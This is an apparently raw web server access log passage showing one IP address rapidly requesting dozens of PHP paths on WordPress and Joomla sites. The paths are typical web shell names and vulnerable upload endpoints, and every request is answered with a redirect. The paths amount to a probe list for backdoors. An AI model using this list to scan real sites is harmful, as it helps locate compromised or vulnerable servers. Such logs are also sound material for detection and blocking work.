Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:28 +0300] "GET /images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:28 +0300] "GET /wp-content/plugins/linkpreview/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:28 +0300] "GET /wp-includes/customize/class-wp-customize-upload-control-cookie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:28 +0300] "GET /wp-includes/ID3/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /wp-includes/class-wp-taxonomy-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /admin/assets/plugins/jQuery-File-Upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /de-ideale-stookmix/wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /wp-includes/Requests/src/Response/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /wp-content/plugins/wps-hide-login/wps-hide-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /wp-content/plugins/wp-diambar/includes/loadme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /assets/images/accesson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /wp-content/plugins/wp-plugin/wp-plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /assets/plugins/jQuery-File-Upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /wp-content/plugins/wp-default/sh/member.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /wp-includes/ms-pie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /.well-known/logs233/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /assets/plugins/filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /wp-content/plugins/wp-security-scan/secure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /owncloud/status.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /wp-content/uploads/autodiagnosis.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /wp-content/plugins/all-in-one-wp-security-and-firewall/templates/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /wp-includes/nav-menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /wp-includes/css/dist/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:01:29 +0300] "GET /wp-content/plugins/pwnd/file-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /wp-content/mu-plugins/helper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /wp-admin/images/archive.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /wp-content/plugins/Ultimate_VC_Addons/assets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /wp-includes/js/dist/script-modules/block-library/search/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /wp-includes/customize/class-wp-customize-cropped-image-control.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /wp-content/uploads/system_core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /wp-includes/css/dist/preferences/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:30 +0300] "GET /wp-includes/blocks/media-text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /wp-includes/phpmailer/phpmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /plus/90sec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /.trash7206/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /storage/framework/views/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /wp-content/plugins/filester/assets/css/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/main_json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /wp-includes/blocks/latest-comments/template-loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /wp-content/wpvivid_uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-sarang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /wp-content/themes/news-portal/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /wp-admin/dofault.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /wp-content/themes/theme-check/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /wp-content/plugins/advanced-product-fields-for-woocommerce/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /wp-includes/blocks/nextpage/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:31 +0300] "GET /wp-content/plugins/akismet/views/cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-admin/includes/nav-menu-trigger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-includes/link-template-firewall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /assets/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /themes/fitnessbase/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /assets/global/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-includes/SimplePie/src/Decode/HTML/sitemaps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-includes/mer_gagal.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:32 +0300] "GET /wp-includes/ID3/Core32.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /wp-content/themes/classic/inc/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /wp-admin/post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /lib/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /Assets/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /assets/bootstrap-fileupload/lock2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /wp-content/plugins/envato-market/inc/class-envato-market-github.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /assets/jquery-ui/images/lock2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /wp-includes/Requests/library/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:33 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:34 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 